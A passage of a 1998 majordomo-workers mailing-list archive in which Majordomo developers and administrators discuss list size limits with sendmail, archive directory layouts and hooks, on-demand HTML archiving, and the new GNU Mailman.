From majordomo-workers-owner Thu Oct 1 10:42:48 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id KAA04814; Thu, 1 Oct 1998 10:29:24 -0700 (PDT) Received: from smtp4.nwnexus.com (smtp4.nwnexus.com [206.63.63.52]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id KAA04807 for ; Thu, 1 Oct 1998 10:29:19 -0700 (PDT) Received: from [206.63.47.20] (callisto.nwnexus.com [206.63.47.20]) by smtp4.nwnexus.com (8.8.8/8.8.8) with ESMTP id KAA21950 for ; Thu, 1 Oct 1998 10:45:31 -0700 (PDT) X-Sender: wdickson@mail.halcyon.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 1 Oct 1998 10:44:58 -0700 To: majordomo-workers@greatcircle.com From: "William R. Dickson -- System Administration" Subject: List size limit in MJ1.9.x Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Hi all, First, I want to say that this _isn't_ my idea, and I'm not too keen on it, but orders have come down from management and I want to give them the best argument I can. I'm already investigating to see if I can stop this through the application of Washington State anti-spam laws. Is there a practical upper limit on the size of a mailing list in MJ1? Basically, a customer wants to send out one message a month to about 10,000 subscribers. I'm running MJ1 on a reasonably fast server (an Alpha). What's a mailing like this likely to do to me? Thanks, -bill -- William R. Dickson - System Administration wdickson@nwnexus.com Northwest Nexus - Professional Internet Services Bellevue, WA USA Voice: 425 455-3505 Web: http://www.nwnexus.com/ Info: info@nwnexus.com From majordomo-workers-owner Thu Oct 1 12:28:53 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id MAA06191; Thu, 1 Oct 1998 12:26:02 -0700 (PDT) Received: from ivan.iecc.com (ivan.iecc.com [208.31.42.33]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with SMTP id MAA06184 for ; Thu, 1 Oct 1998 12:25:57 -0700 (PDT) Received: (qmail 29509 invoked by uid 100); 1 Oct 1998 19:42:14 -0000 Date: Thu, 1 Oct 1998 15:42:10 -0400 (EDT) From: John R Levine To: "William R. Dickson -- System Administration" cc: majordomo-workers@greatcircle.com Subject: Re: List size limit in MJ1.9.x In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk > Is there a practical upper limit on the size of a mailing list in MJ1? > Basically, a customer wants to send out one message a month to about 10,000 > subscribers. I'm running MJ1 on a reasonably fast server (an Alpha). > What's a mailing like this likely to do to me? MJ1 won't have any trouble at all. I run a 2500 member joke-a-day list in the background on my PPro-200 workstation and the only way I know that it's doing anything is that the log window scrolls faster. But what is going to be a problem is sendmail. You hand sendmail a 10,000 member alias, and it'll choke, with nothing else happening for a long time as it digests it. There are various band-aids available that sort the list and break it into chunks, but I'd consider using a sturdier MTA like qmail or maybe vmail. Regards, John Levine, johnl@iecc.com, Primary Perpetrator of "The Internet for Dummies", Information Superhighwayman wanna-be, http://iecc.com/johnl, Sewer Commissioner Finger for PGP key, f'print = 3A 5B D0 3F D9 A0 6A A4 2D AC 1E 9E A6 36 A3 47 From majordomo-workers-owner Thu Oct 1 13:12:50 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id NAA06788; Thu, 1 Oct 1998 13:12:31 -0700 (PDT) Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id NAA06781 for ; Thu, 1 Oct 1998 13:12:22 -0700 (PDT) Received: from atlantis.csc.umd.edu ((IDENT sendmail)@localhost [127.0.0.1]) by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id QAA12048; Thu, 1 Oct 1998 16:28:35 -0400 (EDT) Received: from localhost by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id QAA12043; Thu, 1 Oct 1998 16:28:30 -0400 (EDT) X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs Date: Thu, 1 Oct 1998 16:28:30 -0400 (EDT) From: "Randall S. Winchester" To: Jason L Tibbitts III cc: majordomo-workers@greatcircle.com Subject: Archives: implementation ideas In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk 1) I would like to see Mj2 Archives follow more of a directory structure like the list information does. By this I mean it would be nice to have: .../archives/domain/list/rotation/mail [ Note the Y2K compliance vs .../workers-archive/majordomo-workers.9809 ] For example: .../archives/majordomo.umd.edu/amd-workers/1998/amd-workers.1998 Or: .../archives/majordomo.umd.edu/woman-studies/199801/woman-studies.199801 Or: .../archives/majordomo.umd.edu/busy-list/19980801/busy-list.19980801 If the rotation is "null" then skip the extra directory; For example: .../archives/coursemail.umd.edu/hist410-0101/hist410-0101 The Archiver would need to create the new directories on the fly when nessesary 2) It would very nice to have hooks to pipe a copy of the mail to a program during the archive phase. For example: | mhonarc -add -outdir Or: | hypermail -i -u -d In many cases there are enough variables set in mj2 to pass reasonable options to one of these programs. It would make a nice base for the HyperText side of Majordomo. We could then have a "MHonArc" or "HyperMail" plugin pretty easily that could automate much of the work (as well as delegate those parts to others...hint). I would think this would be implementable with out haveing to add lots of knowledge to Mj2. The seperate directories would allow a place to maintain .htaccess files for private lists, html archive files, search engine files, or homepages for each list where "info.html" files coule be kept. It opens the door to a number of options that are best left till after Mj2 goes out. However the two basic pieces would be nice sooner. 1) Archive to directories 2) Pipe to a program while mj_variables are set. What whould all this give us? a) Automatiic maintainance of the directory structure for the web side of Majordomo. b) A documentable filesystem layout to build other tools against. I am thinking of a "MajorHype". Where: http://majordomo.umd.edu/amd-workers Would take you to the "amd-workers" home page and archives. Where: http://majordomo.umd.edu/amd-workers/request Would take you to "-request" options for the "amd-workers" list. where: http://majordomo.umd.edu/amd-workers/owner Would take you to "-owner options for the "amd-workers" list. Where: http://majordomo.umd.edu/ Would take you to the "majordomo.umd.edu" home page and list pages. Where: http://majordomo.umd.edu/request Would take you to "-request" options for the "majordomo.umd.edu" domain. Where: http://majordomo.umd.edu/owner Would take you to "-owner options for the "majordomo.umd.edu" domain. We would use the majordomo/bin commands like "mj_shell" to manage the lists. These (for those who have not used them) are a powerful addition to Majordomo. We could offer SSL and https to get added security for majordomo. We could provide an easy to understand web interface to the growing lists of Mj2 features. (I really really like the features of Mj2, however my user community is way too confused. I need to give them something with a "help" button by every command, and hide syntax as much as possible.) Randall From majordomo-workers-owner Thu Oct 1 13:57:47 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id NAA07233; Thu, 1 Oct 1998 13:56:08 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id NAA07226 for ; Thu, 1 Oct 1998 13:56:01 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id QAA09796; Thu, 1 Oct 1998 16:12:21 -0500 (CDT) To: "Randall S. Winchester" Cc: majordomo-workers@greatcircle.com Subject: Re: Archives: implementation ideas References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 01 Oct 1998 16:12:20 -0500 In-Reply-To: "Randall S. Winchester"'s message of "Thu, 1 Oct 1998 16:28:30 -0400 (EDT)" Message-ID: Lines: 71 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RSW" == Randall S Winchester writes: RSW> I would like to see Mj2 Archives follow more of a directory RSW> structure like the list information does. I can't see using something like that, but it would be rather easy to do. I've been thinking of how to abstract the archive backend sufficiently, since someone mentioned wanting to store the whole thing in a database (where the message itself is in the index as a large object). I will wait until the interface is somewhat stabilized before I go about this, though; right now I'm changing it too much to worry about keeping multiple interfaces in sync. The API will be something like: add a message to the archive extract a named message form the archive extract the information about a named message from the archive get the names of the last N messages from the archive delete a message from the archive search an indexed field (from:, subject:) and return names/data of hit articles search the raw articles and return the names/data of hit articles That way the actual storage of articles is completely immaterial, and you could write something them any however you want. RSW> 2) It would very nice to have hooks to pipe a copy of the mail to a RSW> program during the archive phase. This is a massive hole if it is configurable, so it can't be. I would prefer to have a general hook mechanism and make this a regular hook. There has been only light discussion about this previously; perhaps you can suggest a general mechanism. I'm just thinking of defining named subroutines that sit in a file which is 'require'd at startup and called with some standardized data if defined. This is probably sufficient. RSW> The seperate directories would allow a place to maintain .htaccess RSW> files for private lists, html archive files, search engine files, or RSW> homepages for each list where "info.html" files coule be kept. Well, you can do that by putting each list's archive in a separate directory, which you can do now. RSW> We could provide an easy to understand web interface to the growing RSW> lists of Mj2 features. (I really really like the features of Mj2, RSW> however my user community is way too confused. I need to give them RSW> something with a "help" button by every command, and hide syntax as RSW> much as possible.) I think MajorCool is the answer. I'd prefer to try and use as much of it as possible, since 1) we already have a volunteer (no pressure, Bill), 2) it works well for Mj1 and 3) many (though not enough) people are already used to it. But on the issue of web archiving, I ultimately would like something that works like the following: Generates a pretty HTML index from archive data, with incremental updates. Generates, _on demand_ HTML from the raw archive. This means that the HTML files can be expired, and I no longer have to blow inodes and disk space for individual HTML messages as well as mbox files. Provides a reasonable search interface. I am considering borrowing pieces of MHonArc to make this happen, but it's far enough down the road that I haven't talked to Earl Hood about it. If something happens with HyperMail this may all be changed. Doing it with pieces of MHonArc would actually not be all that difficult; the MHonArc config stuff could be embedded in config variables. - J< From majordomo-workers-owner Thu Oct 1 14:57:48 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id OAA07931; Thu, 1 Oct 1998 14:47:00 -0700 (PDT) Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id OAA07924 for ; Thu, 1 Oct 1998 14:46:53 -0700 (PDT) Received: from atlantis.csc.umd.edu ((IDENT sendmail)@localhost [127.0.0.1]) by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id SAA12404; Thu, 1 Oct 1998 18:03:07 -0400 (EDT) Received: from localhost by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id SAA12399; Thu, 1 Oct 1998 18:02:59 -0400 (EDT) X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs Date: Thu, 1 Oct 1998 18:02:58 -0400 (EDT) From: "Randall S. Winchester" To: Jason L Tibbitts III cc: majordomo-workers@greatcircle.com Subject: Re: Archives: implementation ideas In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 1 Oct 1998, Jason L Tibbitts III wrote: : >>>>> "RSW" == Randall S Winchester writes: : : RSW> I would like to see Mj2 Archives follow more of a directory : RSW> structure like the list information does. : : I can't see using something like that, but it would be rather easy to do. : I've been thinking of how to abstract the archive backend sufficiently, : since someone mentioned wanting to store the whole thing in a database : (where the message itself is in the index as a large object). I will wait : until the interface is somewhat stabilized before I go about this, though; : right now I'm changing it too much to worry about keeping multiple : interfaces in sync. : : The API will be something like: : : add a message to the archive : extract a named message form the archive : extract the information about a named message from the archive : get the names of the last N messages from the archive : delete a message from the archive : search an indexed field (from:, subject:) and return names/data of hit articles : search the raw articles and return the names/data of hit articles : : That way the actual storage of articles is completely immaterial, and you : could write something them any however you want. As long as the "achive rules" are know so it can do directory creates, (deletes) and changes to get and find relative to the current archive $mj_domain/$mj_list/$mj_archive/$mj_list.$mj_archive With a "create $mj_domain/$mj_list/$mj_archive if not there ability. : RSW> 2) It would very nice to have hooks to pipe a copy of the mail to a : RSW> program during the archive phase. : : This is a massive hole if it is configurable, so it can't be. I would : prefer to have a general hook mechanism and make this a regular hook. Correct. : There has been only light discussion about this previously; perhaps you can : suggest a general mechanism. I'm just thinking of defining named : subroutines that sit in a file which is 'require'd at startup and called : with some standardized data if defined. This is probably sufficient. That sounds like a good start. Pass it the mail message and the current lists variables. : RSW> The seperate directories would allow a place to maintain .htaccess : RSW> files for private lists, html archive files, search engine files, or : RSW> homepages for each list where "info.html" files coule be kept. : : Well, you can do that by putting each list's archive in a separate : directory, which you can do now. As long as you do not mind configuring and maintainting it all by hand, including manipulating the archives when the next month (or other interval) rolls over. : RSW> We could provide an easy to understand web interface to the growing : RSW> lists of Mj2 features. (I really really like the features of Mj2, : RSW> however my user community is way too confused. I need to give them : RSW> something with a "help" button by every command, and hide syntax as : RSW> much as possible.) : : I think MajorCool is the answer. I'd prefer to try and use as much of it : as possible, since 1) we already have a volunteer (no pressure, Bill), 2) : it works well for Mj1 and 3) many (though not enough) people are already : used to it. Yes, MajorCool for the List Administration and Subscription pages would be good. However when MajorCool gets reworked for Mj2 it would be faster and cleaner if it used the mj_shell type commands instead of creating mail messages. : But on the issue of web archiving, I ultimately would like something that : works like the following: : : Generates a pretty HTML index from archive data, with incremental : updates. Yes. : Generates, _on demand_ HTML from the raw archive. Not sure I like this one. Probably would not scale well. The incremental updates are better. : This means that the : HTML files can be expired, and I no longer have to blow inodes and disk : space for individual HTML messages as well as mbox files. I am not as worried about the inodes, and think this could be left to the MHonArc/HyperMail/whatever interface. It do think and experation option (too them) would be interesting. : Provides a reasonable search interface. Correct. : I am considering borrowing pieces of MHonArc to make this happen, but it's : far enough down the road that I haven't talked to Earl Hood about it. : If something happens with HyperMail this may all be changed. HyperMail is being supported once again! The New URL is: http://www.landfield.com/hypermail/ : Doing it with pieces of MHonArc would actually not be all that : difficult; the MHonArc config stuff could be embedded in config : variables. Same with HyperMail, they are straightforward, and many variables would equate to existing Mj2 variables. Randall From majordomo-workers-owner Thu Oct 1 15:30:18 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id PAA08394; Thu, 1 Oct 1998 15:12:58 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id PAA08385 for ; Thu, 1 Oct 1998 15:12:44 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id RAA11371; Thu, 1 Oct 1998 17:29:02 -0500 (CDT) To: "Randall S. Winchester" Cc: majordomo-workers@greatcircle.com Subject: Re: Archives: implementation ideas References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 01 Oct 1998 17:29:01 -0500 In-Reply-To: "Randall S. Winchester"'s message of "Thu, 1 Oct 1998 18:02:58 -0400 (EDT)" Message-ID: Lines: 58 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RSW" == Randall S Winchester writes: RSW> As long as the "achive rules" are know so it can do directory creates, RSW> (deletes) and changes to get and find relative to the current archive Well, that's kind of interesting. Right now new files aren't recorded in the list's filespace, so an 'index' command doesn't show them. Eventually I must fix that. When I do, it will be general enough to do what you're looking for. RSW> As long as you do not mind configuring and maintainting it all by RSW> hand, including manipulating the archives when the next month (or RSW> other interval) rolls over. But if you just want to control access to the directory holding the archives, you can do that now. Why do they have to be in separate subdirectories? RSW> Yes, MajorCool for the List Administration and Subscription pages RSW> would be good. However when MajorCool gets reworked for Mj2 it would RSW> be faster and cleaner if it used the mj_shell type commands instead of RSW> creating mail messages. Actually it wouldn't need to. Instead of calling mj_shell to do anything, it can just 'use Majordomo' and make core calls. mj_shell itself is just a user of the core, as are mj_email, mj_trigger and mj_confirm. The whole point behind making the interface-core distinction so rigidly defined was to make this easy. RSW> Not sure I like this one. Probably would not scale well. The RSW> incremental updates are better. I don't agree. For every message that is read, you do this once. You could even do it up front as well; that would save the hassle of looking it up out of the index on first access. Perhaps you're assuming that they don't stick around? The idea is to not make an HTML version until necessary, then keep it around until nobody's looked at it for a while, then delete it. That way you keep only the 'active set' around and don't chew space storing tens of thousands of files that nobody looks at. Even if you don't count inodes, it's hard to argue with the savings. A simple example: XYX:sina:~> du -sk ~ftp/pub/majordomo/users-archive 60766 /home/ftp/pub/majordomo/users-archive XYX:sina:~> du -sk ~www/majordomo-users 127341 /home/www/majordomo-users The former are the mbox files; the index files would have nearly trivial size, under 1MB. The latter is the MHonArc archive built out of the mbox files, just HTML files, with 6MB of the total in Glimpse indices. That's a 1 to 3 expansion that could be eliminated; messages older than one month are very rarely accessed, and one month is about 2.5MB. And if you really are counting inodes, the HTML archive sucks 24269 total while the mbox files take 75. - J< From majordomo-workers-owner Thu Oct 1 15:42:48 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id PAA08938; Thu, 1 Oct 1998 15:21:44 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id PAA08928 for majordomo-workers@greatcircle.com; Thu, 1 Oct 1998 15:21:41 -0700 (PDT) Received: from andromeda.res.sprintlink.net (gate2.sprintlink.net [199.0.233.3]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id PAA15839 for ; Thu, 24 Sep 1998 15:11:58 -0700 (PDT) Received: from andromeda (andromeda [199.0.236.52]) by andromeda.res.sprintlink.net (8.7.3/8.6.12) with SMTP id SAA24799; Thu, 24 Sep 1998 18:25:45 -0400 (EDT) Message-Id: <199809242225.SAA24799@andromeda.res.sprintlink.net> Date: Thu, 24 Sep 1998 18:25:45 -0400 (EDT) From: billwake Reply-To: billwake Subject: Re: 1.94.4 command "lists" creating .config files To: majordomo-workers@greatcircle.com, tibbs@hpc.uh.edu MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: L6BmRjenhPQWD8mwHB9Cog== X-Mailer: dtmail 1.2.0 CDE Version 1.2 SunOS 5.6 sun4m sparc Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Your diagnosis was on the money. A re-install of perl (and a subsequent re-compile of Mj) cleared my problem right up. Many thanks for your assistance. -Bill > >>>>> "b" == billwake writes: > > b> Mj is kind enough to name its creations differently than the > b> existing .configs by chopping the first two characters off of every > b> .config. > > This is starting to sound a lot like the bugs that happen when you compile > something on Solaris with the BSD emulation libraries and get the wrong > dirent structure. It simply chops the first two characters off of every > filename. Try running a simple script like: > > perl -e 'opendir(DIR, "."); print join("\n",readdir(DIR)), "\n"' > > in some directory with a few files (or even in your list directory) and see > what it spits out. This duplicates what Majordomo does when it enumerates > the files in a directory. If it's not like what ls -1 gives you, start > looking at your Perl installation. If it looks file, start looking > elsewhere; Majordomo simply does not have this problem (ever) so it's > either a problem with locally modified source, something wrong with perl > that the test doesn't reveal, or an OS problem. > > - J< From majordomo-workers-owner Thu Oct 1 15:58:43 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id PAA08952; Thu, 1 Oct 1998 15:21:51 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id PAA08941 for majordomo-workers@greatcircle.com; Thu, 1 Oct 1998 15:21:49 -0700 (PDT) Received: from sparc.SanDiegoCA.NCR.COM (tan7.NCR.COM [192.127.94.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id PAA15706 for ; Thu, 24 Sep 1998 15:03:04 -0700 (PDT) Received: from ssol020.sandiegoca.ncr.com (ssol020.SanDiegoCA.NCR.COM [153.64.69.48]) by sparc.SanDiegoCA.NCR.COM (8.8.8/8.8.5) with ESMTP id PAA04683 for ; Thu, 24 Sep 1998 15:17:55 -0700 (PDT) From: Bill Houle Received: (from bhoule@localhost) by ssol020.sandiegoca.ncr.com (8.8.7/8.8.5) id PAA25379 for majordomo-workers@greatcircle.com; Thu, 24 Sep 1998 15:17:54 -0700 (PDT) Message-Id: <199809242217.PAA25379@ssol020.sandiegoca.ncr.com> Subject: MailMan To: majordomo-workers@greatcircle.com Date: Thu, 24 Sep 1998 15:17:54 -0700 (PDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk I saw a reference to the "GNU Mailing List Manager" in the upcoming USENIX/LISA'98 conference presentations. Hadn't heard of it before, but a quick search turned up http://www.list.org/. The product is beta and a 1.0 release, but here's the feature list: o Most standard mailing list features, including list moderation, mail based commands, digests, and so on. o An extensive web-based user interface that is customizable on a per-list basis. o A web-based list administration interface for all admin-type tasks, including list configuration, moderation, and so on. o Automatic web-based hypermail-style archiving, including provisions for private archives. o Integrated mail list to newsgroup gatewaying. Integrated newsgroup to mail list gatewaying. o Smart bounce detection and correction. o Integrated fast bulk mailing (useful for sendmail users). o Smart spam protection. o Multiple list owners and moderators are possible. o Optional (per-user) MIME-compliant digests. o Nice about which machine you subscribed from if you're from the right domain. All in all, its in line with what we already planned with Mj2. Auto-hyper-archiving is basically an integrated Wilma. Norbert's got the bounce processing covered. MIME. Bulk mailer. etc. I like the integrated mail2news -- this was mainly what I was aiming for with my "virtual lists" concept discussed last week. I'll check out the web part and see how its customization compares to MajorCool. --bill From majordomo-workers-owner Thu Oct 1 17:58:21 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id RAA11137; Thu, 1 Oct 1998 17:54:07 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id RAA11130 for ; Thu, 1 Oct 1998 17:54:00 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id UAA14310; Thu, 1 Oct 1998 20:10:24 -0500 (CDT) To: Leslie Mikesell Cc: majordomo-workers@GreatCircle.COM Subject: Re: Archives: implementation ideas References: <199810020056.TAA02268@Mercury.mcs.net> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 01 Oct 1998 20:10:24 -0500 In-Reply-To: Leslie Mikesell's message of "Thu, 1 Oct 1998 19:56:00 -0500 (CDT)" Message-ID: Lines: 28 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "LM" == Leslie Mikesell writes: LM> I don't see any reason to combine the list handler and the archive LM> handler in the same program at all. In order to extract the messages to build the digests. (Well, sort of, that's the reason the digestifier depends on the archiver; the list handler doesn't really depend on either.) Plus there's the issue of message and header modifications that you want to go to the list but you don't want in the archive. The point is not to have one huge monolith, but to have a bunch of cooperating modules instead of a bunch of cooperating programs. It's sets of routines and APIs now instead of executables and command line options. The modules aren't even touched (i.e. not brought into memory) if archiving and digestifying aren't turned on. You can use the modules separately; you could have a front end that just uses the archive module and works just like archive2.pl. You'll note that it's even on the TODO list. LM> Why not make a generic email to archive program, connect it to a LM> separate alias and subscribe the alias to the list? message_fronter, message_footer, subject_prefix, MIME filtering (strip GIFs from the delivered copy but leave them in the archive), etc. But if you want that, feel free to work on the front end I mentioned, or wait until I get around to it. - J< From majordomo-workers-owner Thu Oct 1 18:43:01 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA11698; Thu, 1 Oct 1998 18:32:12 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id SAA11690 for majordomo-workers@greatcircle.com; Thu, 1 Oct 1998 18:32:07 -0700 (PDT) Received: from sparc.sandiegoca.ncr.com (tan7.NCR.COM [192.127.94.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id PAA11065 for ; Fri, 25 Sep 1998 15:35:40 -0700 (PDT) Received: from ssol020.sandiegoca.ncr.com (ssol020.SanDiegoCA.NCR.COM [153.64.69.48]) by sparc.sandiegoca.ncr.com (8.8.8/8.8.5) with ESMTP id PAA00772; Fri, 25 Sep 1998 15:50:46 -0700 (PDT) From: Bill Houle Received: (from bhoule@localhost) by ssol020.sandiegoca.ncr.com (8.8.7/8.8.5) id PAA07481; Fri, 25 Sep 1998 15:50:45 -0700 (PDT) Message-Id: <199809252250.PAA07481@ssol020.sandiegoca.ncr.com> Subject: Re: Digests, phase zero To: rsw@Glue.umd.edu (Randall S. Winchester) Date: Fri, 25 Sep 1998 15:50:45 -0700 (PDT) Cc: tibbs@hpc.uh.edu, majordomo-workers@GreatCircle.COM In-Reply-To: from "Randall S. Winchester" at Sep 25, 98 02:24:45 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Randall S. Winchester said: > > Speaking of that http://www.majordomo.org would be really good to have to > assist people. Even as a pointer to XXX.uh.edu. majordomo.org has been registered for a while, but I don't think there's ever been a server at that address. I agree though that greatcircle.com/majordomo/ site could be a little more in sync with advertising/supporting Mj2 efforts. Either way, both are Brent's and I was going to ask him about it... --bill From majordomo-workers-owner Thu Oct 1 18:59:23 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA11804; Thu, 1 Oct 1998 18:33:04 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id SAA11794 for majordomo-workers@greatcircle.com; Thu, 1 Oct 1998 18:32:58 -0700 (PDT) Received: from sparc.sandiegoca.ncr.com (tan7.NCR.COM [192.127.94.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id WAA05509 for ; Sat, 26 Sep 1998 22:48:50 -0700 (PDT) Received: (from bhoule@localhost) by sparc.sandiegoca.ncr.com (8.8.8/8.8.5) id XAA18537; Sat, 26 Sep 1998 23:01:45 -0700 (PDT) From: Bill Houle Message-Id: <199809270601.XAA18537@sparc.sandiegoca.ncr.com> Subject: Re: Digests, phase zero To: rogerk@QueerNet.ORG (Roger B.A. Klorese) Date: Sat, 26 Sep 1998 23:01:44 -0700 (PDT) Cc: tibbs@hpc.uh.edu, rsw@Glue.umd.edu, majordomo-workers@GreatCircle.COM In-Reply-To: from "Roger B.A. Klorese" at Sep 25, 98 05:53:40 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Roger B.A. Klorese said: > > It's cart-and-horse time. Maybe we ought to be positioning Majorcool as > the product, and Majordomo as a pile of back-end software it uses. One critical point is that at least Jason has done admirable work producing a tangible product, whereas I have yet to get off my butt for MjC2... :) For a Web-oriented site, this may sound like a good idea. But I have been in (or listened to) many arguments about keeping the MLM field Web-free, or at least, keeping it non-dependent upon the Web. There is something to be said for the least-common-denominator appeal of email. A "Web first" approach may be a year or so too soon. --bill From majordomo-workers-owner Thu Oct 1 19:13:13 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA11988; Thu, 1 Oct 1998 18:35:45 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id SAA11978 for majordomo-workers@greatcircle.com; Thu, 1 Oct 1998 18:35:43 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id WAA23965 for ; Wed, 30 Sep 1998 22:22:44 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id AAA22597; Thu, 1 Oct 1998 00:39:01 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: Regexp wizard References: <199809260202.TAA09927@ssol020.sandiegoca.ncr.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 01 Oct 1998 00:39:00 -0500 In-Reply-To: Russ Allbery's message of "26 Sep 1998 18:16:39 -0700" Message-ID: Lines: 18 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RA" == Russ Allbery writes: [csh-style glob to regexp converter] RA> I think that there's a module that does something along these lines RA> already. That might be File::KGlob2RE. I had a look and found it unsuitable as is. It treats the directory specifier as special (so ? and * don't match '/'), has special metacharacters for representing directories, and makes judicious use of eval in its code. I doubt it would run under taint checks. I don't see any other applicable modules. In any case, it seems a waste to requires users to find yet another module for something that can be implemented in 30 lines of code. - J< From majordomo-workers-owner Thu Oct 1 19:27:49 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id TAA12605; Thu, 1 Oct 1998 19:19:33 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id TAA12598 for ; Thu, 1 Oct 1998 19:19:28 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id VAA15742; Thu, 1 Oct 1998 21:35:54 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: MailMan References: <199809242217.PAA25379@ssol020.sandiegoca.ncr.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 01 Oct 1998 21:35:54 -0500 In-Reply-To: Bill Houle's message of "Thu, 24 Sep 1998 15:17:54 -0700 (PDT)" Message-ID: Lines: 17 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BH" == Bill Houle writes: BH> I saw a reference to the "GNU Mailing List Manager" in the 